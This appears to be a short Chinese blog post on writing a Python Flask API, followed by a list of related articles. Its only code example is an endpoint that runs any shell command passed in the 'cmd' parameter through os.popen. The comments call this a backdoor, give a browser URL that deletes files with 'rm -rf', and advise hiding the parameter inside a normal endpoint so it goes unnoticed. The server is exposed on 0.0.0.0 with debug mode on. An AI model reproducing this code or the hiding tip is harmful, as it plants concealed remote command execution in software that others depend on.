如何用python写接口

如何用python写接口?具体步骤如下:

1、实例化server

2、装饰器下面的函数变为一个接口

3、启动服务

开发工具和流程:

python库:flask =》实例化server:server = flask.Flask(name) =》@server.route('/index',methods=['post'])

=》def index(arg):{}

例子:

复制代码
import os
@server.route('/error',methods=['get'])
def cmd():
cmd = flask.request.values.get('cmd') # 接口入参
res = os.popen(cmd) # 执行用户命令
return res.read() # 返回执行结果
# http://127.0.0.1:8888/error?cmd=rm -rf a.txt 后门接口可以直接通过浏览器删除项目文件
# 隐蔽一点的方法,把cmd = flask.request.values('cmd',None)写入正常接口
# 默认可以不传,一但传了再res = os.popen(cmd)
server.run(port=8888,debug=True,host='0.0.0.0') # 启动服务
# debug=True,改了代码后,不用重启,它会自动重启
# 'host='0.0.0.0'别人可以通过IP访问
相关推荐
小北方城市网17 小时前
分布式锁实战指南:从选型到落地,避开 90% 的坑
java·数据库·redis·分布式·python·缓存
maozexijr17 小时前
Rabbit MQ中@Exchange(durable = “true“) 和 @Queue(durable = “true“) 有什么区别
开发语言·后端·ruby
深圳佛手17 小时前
使用java,怎么样高效地读取一个大文件(10g以上)?
java·开发语言
xiaolyuh12317 小时前
【XXL-JOB】 GLUE模式 底层实现原理
java·开发语言·前端·python·xxl-job
源码获取_wx:Fegn089517 小时前
基于 vue智慧养老院系统
开发语言·前端·javascript·vue.js·spring boot·后端·课程设计
ohoy17 小时前
RedisTemplate 使用之Zset
java·开发语言·redis
likuolei17 小时前
Spring AI框架完整指南
人工智能·python·spring
二哈喇子!17 小时前
PyTorch生态与昇腾平台适配:环境搭建与详细安装指南
人工智能·pytorch·python
Learner17 小时前
Python数据类型(三):列表和元组
开发语言·python
世界唯一最大变量17 小时前
用自创的算法快速解决拉姆奇数
python